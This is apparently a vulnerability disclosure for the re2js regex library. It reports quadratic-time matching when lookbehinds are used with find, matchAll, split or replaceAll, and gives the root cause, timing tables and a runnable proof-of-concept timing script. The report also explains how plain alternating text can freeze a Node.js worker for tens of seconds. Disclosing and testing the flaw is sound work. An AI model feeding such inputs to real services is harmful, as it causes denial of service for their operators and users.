RE2JS: Quadratic-time denial of service in re2js lookbehind matching

Summary

Using the opt-in LOOKBEHINDS flag together with any repeated-matching API (matcher().find() in a loop, matchAll(), split(), matcher().replaceAll()) causes quadratic-time (Θ(n²)) matching, contradicting the library's own "linear time matching" guarantee. A single call with a 16,000-character input takes 36.7–38.7 seconds of CPU.

Description

Root cause

In build/index.cjs, Machine.match:

let currentPos = this.prog.numLb > 0 ? 0 : pos;   // ~line 1907
...
if (this.ncap === 0 && this.matched) break;        // ~line 1953

Any pattern containing a lookbehind sets prog.numLb > 0, which forces the scan to always restart at offset 0, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single find() call. The early-exit optimization that would otherwise stop at the first match only fires when ncap === 0, but every Matcher-based API (find/matchAll/split/replaceAll) always requests ncap = 2 (one capture group slot) even for a captureless lookbehind pattern — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find.

A find-loop over k matches in an n-character string therefore costs k × Θ(n); for dense matches k ∝ n, giving Θ(n²) total.

Isolating control

Identical find-loop, identical input sizes, same 2-character literal pattern shape — but without the LOOKBEHINDS flag:

n	with LOOKBEHINDS (lookbehind pattern)	without (plain literal)	native JS RegExp lookbehind
2,000	204–228 ms	3 ms	0 ms
4,000	877–899 ms	4 ms	0 ms
8,000	5,746–6,599 ms	7 ms	1 ms
16,000	36,667–38,732 ms	6 ms	1 ms

This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause.

Impact

• re2js's entire value proposition is being an RE2-style engine with linear-time, no-backtracking matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertised LOOKBEHINDS feature.
• Realistic affected code paths: log/text processing that tokenizes or redacts using a lookbehind-based pattern (matchAll, split, replaceAll are the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content).
• A single ~16–32 KB request pins a CPU core for tens of seconds to minutes; Node.js being single-threaded, this freezes the whole worker process for the duration. No authentication or special pattern knowledge is required from the attacker — ordinary alternating text ("abababab...") triggers it.

Reproduction (copy-paste runnable)

create file poc.js

'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
//   npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
//   node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));

const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);

function timeFindLoop(n) {
  const s = 'ab'.repeat(n / 2);
  const t0 = Date.now();
  const m = re.matcher(s);
  let count = 0;
  while (m.find()) count++;
  return { ms: Date.now() - t0, count };
}

console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
  const r = timeFindLoop(n);
  results.push(r.ms);
  console.log(`${n}, ${r.count}, ${r.ms}`);
}

const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);

and run in terminal

npm pack [email protected] --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package

poc.js times a matcher(s).find() loop over (?<=a)b + RE2JS.LOOKBEHINDS on inputs of 2,000/4,000/8,000/16,000 chars and reports the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or exceeding the 4× quadratic signature), reaching tens of seconds at 16,000 chars. Run twice; results are deterministic.